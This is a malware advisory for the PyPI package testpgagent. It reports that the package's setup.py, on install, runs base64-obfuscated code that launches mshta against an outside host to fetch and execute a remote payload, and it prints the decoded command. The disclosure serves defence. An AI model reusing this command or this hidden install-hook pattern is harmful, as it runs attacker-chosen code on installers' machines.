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CRITICAL PyPI Malware

Malicious code in testpgagent (PyPI)

MAL-2026-5824

Published ยท Modified

Description


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Source: amazon-inspector (c3b12f57a72964e978d195ad7c3a9f6fe560ad1990d55bb1b4053d88a6bb9c4f)

On pip install, setup.py line 19 calls exec(base64.b64decode(...)) whose decoded body is import os; os.system('cmd /c "mshta http://fixars.top"'). This launches Windows mshta.exe against http://fixars.top over plaintext HTTP, fetching and executing an arbitrary HTML-application payload on the installer's machine. The payload is obfuscated with base64+exec to evade casual inspection. The fetch destination is unrelated to any declared publisher, content is unpinned and mutable, and execution is fully attacker-controlled. Any Windows machine running pip install TestPGAgent==0.2 will execute remote code chosen by whoever controls fixars.top at the moment of install.

Source: kam193 (cc91b82332e104c5788470ba2d3bad983bf7a8d24615c0aa55788877441f6315)

During installation, the code attempts to download and start a malicious executable.

Likely related to 2025-08-raknet-testing-package.


Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.

Campaign: 2026-06-easyaillm

Reasons (based on the campaign):

  • Downloads and executes a remote executable.

  • obfuscation

  • malware

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